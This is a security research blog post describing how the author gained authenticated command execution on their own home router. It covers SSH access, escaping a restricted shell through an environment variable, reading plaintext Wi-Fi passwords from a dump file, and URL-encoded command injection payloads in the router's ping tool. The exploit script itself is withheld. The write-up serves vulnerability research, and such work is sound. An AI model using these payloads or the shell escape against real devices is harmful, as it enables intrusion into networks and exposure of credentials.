When I saw the SSH port, I looked behind the router for any credentials and, fortunately, it had them. I tried logging in with the "admin" username, but it didn't work, so I searched for some documentation and discovered the correct username was "support."</p>
</p>
As shown in the image above, we couldn't execute commands or interact with the operating system beyond the initial shell. The goal at this moment was to figure out how to execute commands, as I had no prior experience with hardware hacking and didn't want to attempt extracting the firmware without understanding how to do it. After a bit of research, I discovered that you could pass a direct command after the SSH command to escape the "dumb shell".</p>
</p>
Using the netstat -lpntu</code> command, I checked all running services ports. The idea here is to find some binary or service we can exploit to discover a vulnerability, but we don't investigate it too deeply and move on to other enumerations.</p>

-l</code>: Displays only listening sockets;</li>
-p</code>: Displays the process ID (PID) and the program name;</li>
-n</code>: Display addresses and port numbers in their numerical format;</li>
-t</code>: Display active TCP connections;</li>
-u</code>: Display active UDP connections.</li>
</ul>
</p>
Through the uname -a</code> command, I identified the version of the running Linux system. As you can see, it's a fairly up-to-date kernel, and the environment is somewhat limited, so we also chose not to delve too deeply into its exploitation because, above all, our user is already part of the root group.</p>
Linux (none) 4.4.115 #1 SMP Fri Jul 5 16:58:21 CST 2024 armv7l GNU/Linux</span></span></code></pre>
Using the command ps w</code>, I also found a bunch of interesting information. There are several processes using some config files, including some XMLs that contain virtually all the router's configurations, but we also didn't find anything of significant relevance here.</p>
</p>
After testing the router possibilities, I discovered some issues:</p>

Me and my friends tried different methods to get a reverse shell, but without success.</li>
Some common binaries, like ls</code>, didn't work.</li>
The entire router was running on a read-only system, so we couldn't create a web shell in the web app's directory.</li>
</ul>
Not having ls</code> wasn't a problem because we still had the find</code> binary. So we can use the command file /app -type f</code> to list all the files inside the /app</code> directory. For example:</p>
</p>
When I listed the files in the /tmp</code> directory, I found a file called dump.txt</code> that caught my attention. Reading this file, I discovered it stored network passwords in plaintext, along with other network configurations, which is indeed quite useful if you want to access the Wi-Fi network without changing it, which I think is the best option. The contents of the file were something like this:</p>

</p>
Escalating from cmdsh</h2>
Analyzing the processes, I discovered that the initial shell we got when accessing via SSH was called cmdsh</code> and appeared to be a unique binary used to manage the SSH service. I copied the cmdsh</code> binary to my local machine and opened it in Binary Ninja to understand what was happening in the background.</p>
</p>
We can see that the binary looks for two variables called LOGNAME</code> and LOGFROM</code>. Digging further into the code, we identified the expected values for these variables:</p>

admin</li>
telefonica</li>
</ul>
</p>
The most important part of this code is the lines:</p>

current_hidden</code> and current_permission</code></li>
</ul>
Why is this interesting? Because we can see the difference in permissions available when logged in with an admin</code> or telefonica</code> profile. So, before running the command /bin/cmdsh</code>, we specify the values LOGNAME=telefonica</code>, for example, and now some sysadmin commands become available to us =).</p>
</p>
Attacking the Web App</h2>
I tried extracting the webapp content with cURL</code>, wget</code>, or SCP</code>, but I didn't have success with. So, I decided to create a tar file, convert it to base64, and save the output locally. After this, I converted it back into a normal file and successfully retrieved the content. I created the tar file from the directory /usr/shared/web</code>.</p>

</p>
In the end, we have a "valid" code that we can open in VSCode to better understand the application's structure, but not everything is as smooth as we imagined. This is an issue I didn't consider at the time I was exporting it to VSCode. All the files are CGIs.</p>
</p>
Of course, we couldn't read the CGI files directly because they are compiled C files that is used in the web interface and in other functions. I started exploring the available functions in the web app and found a menu called Tools</code>. Accessing it, we saw options to run commands like ping</code>, traceroute</code>, and nslookup</code>.</p>
</p>
This immediately caught my attention. I tried injecting direct commands into it, but there was a JavaScript validation that checked for valid IPs. However, we could bypass this by capturing a valid request in Burp Suite and modifying the IP parameter. Furthermore, there was some form of protection against command injection. By examining the code, we could understand how these functions worked (ping</code>, traceroute</code>, and nslookup</code>) and look for ways to bypass or understand what was happening in the background.</p>

</p>
Looking at the final lines of the code, where the nslookup</code>, traceroute</code> and ping</code> binaries runs, we noticed that our input was directly concatenated into the execution and the output was saved to the file /tmp/ping_result</code>. This confirmed that there was command injection possibility.</p>
</p>
Returning to the web app, we kept trying to execute commands without immediate success. After a break, we discovered that the &</code> character wasn't blocked. For now, we could encode the &</code> character with URL encoding and attempt to execute commands like this:</p>
127.0.0.1%26%26id</span></span></code></pre>
</p>
We received a blank response because the output is only saved when you render the another web page. After sending the request, we need to read /tmp/ping_result</code> file content because is where our command execution output is.</p>

</p>
Finally, we achieved command execution. The issue here was that it was a blind command execution, since the output was saved in /tmp/ping_result</code> and we couldn't read this file outside SSH. The web app also didn't render the command output directly.</p>
</p>
If we look at the output of our command now, we'll be surprised by something quite unfortunate, but something we managed to solve later, which was rather "funny" given the ideas we came up with during this process.</p>
</p>
Escaping the blind command execution</h2>
Here's what we discovered:</p>

The function that printed the command output removed some lines from the final result, so we couldn't see the output without reading /tmp/ping_result</code> file.</li>
There was a slight delay between command execution and when the output was saved, so we needed to wait about 5 seconds before checking the output.</li>
</ul>
To work around this, we needed to concatenate three commands. Why? By using two nslookup</code> commands, we ensured our command's output wasn't the last line removed by the application.</p>
</p>
127.0.0.1%26%26uname%20-a%26%26nslookup%20127.0.0.1</span></span></code></pre>
</p>
Now we need to automate the process by developing a functional exploit for this. Looking at the login process, we noticed the parameter loginPassword</code> didn't send the password in plaintext. Instead, it sent an MD5 hash of the password. After logging in, a COOKIE_SESSION_KEY</code> was generated, which indicates that our session is valid and we are authenticated in the environment.</p>

</p>
Logging in again showed that the loginPassword</code> value was different from the first login. Apparently, there is a function in the system that ensures the password hash doesn't repeat, which I believe is meant to prevent brute force attacks and similar methods.</p>
</p>
Inspecting the login.cgi</code> HTML source code, we found the JavaScript function that generated the MD5 hash, the function in question is called "checkLogin," and it seems to mix the SID value, the original password (in plain text), and finally convert everything to MD5.</p>
</p>
Refreshing the page showed that the sid</code> value changed each time, this indicates that every time we access the login page, the SID will be changed, something like a dynamic generation, so it's not possible to simply convert our password to MD5 and send it directly to the login form.</p>
</p>
To work with this, our Python script needed to capture the var sid</code> value, concatenate it with the password, and generate the MD5 hash. Using BeautifulSoup, we captured the var sid</code> value after the =</code> character with the following code:</p>
</p>
This is already enough for us to generate a valid hash when submitting it to the login form after updating the code.</p>
</p>
Now, with a valid COOKIE_SESSION_KEY</code>, we could perform authenticated actions on the router. The final step was to replicate the process and integrate it into the script. The final result of our script will be an command execution with direct output, which made exploiting the vulnerability ten times better.</p>
</p>
Conclusion</h2>
During this process, my friends and I realized that the most ridiculous ideas can work, like concatenating three commands and hoping for the best xD. But honestly, it's interesting how watching an H2HC talk sparked this desire in me to explore something I had such easy access to, and in the end, everything worked out. Obviously, all of this was possible thanks to the help of the other members of Inferi, who were exceptional in helping me brainstorm some ideas.</p>
It's funny that I have no experience with reverse engineering, but a little bit of guesswork and determination seems to solve everything. Of course, if I had some experience, it would have helped a lot, but that's something for the future.</p>
Thank you for reading this far! I hope you've learned something or at least enjoyed the content. Neither the script nor the vulnerability will be made available since this was just field research. But who knows? Maybe this will turn into a CVE in the future, and we'll change our minds about publishing it.</p>
References</h2>

youtube.com — Internet of Sh!t - Maycon Vitali - H2HC University 2018</a></li>
</ul>

dsm's blog - research

Defeating Client-Side Web Encryption with Burp Suite Extension

Bypassing Flutter Certificate Pinning

Intercept, intercept and intercept</h2> After all this analysis, we're ready to intercept the traffic. Here's what we need to do:</p> Create IPTables rules to redirect the traffic.</li> Configure the proxy on our Android device (I'm using an emulated Pixel 9 Pro).</li> Set up Burp Suite.</li>

Discovering an Authenticated RCE Vulnerability in My Old Router

References</h2> youtube.com — Internet of Sh!t - Maycon Vitali - H2HC University 2018</a></li> </ul>

References</h2>

youtube.com — Internet of Sh!t - Maycon Vitali - H2HC University 2018</a></li> </ul>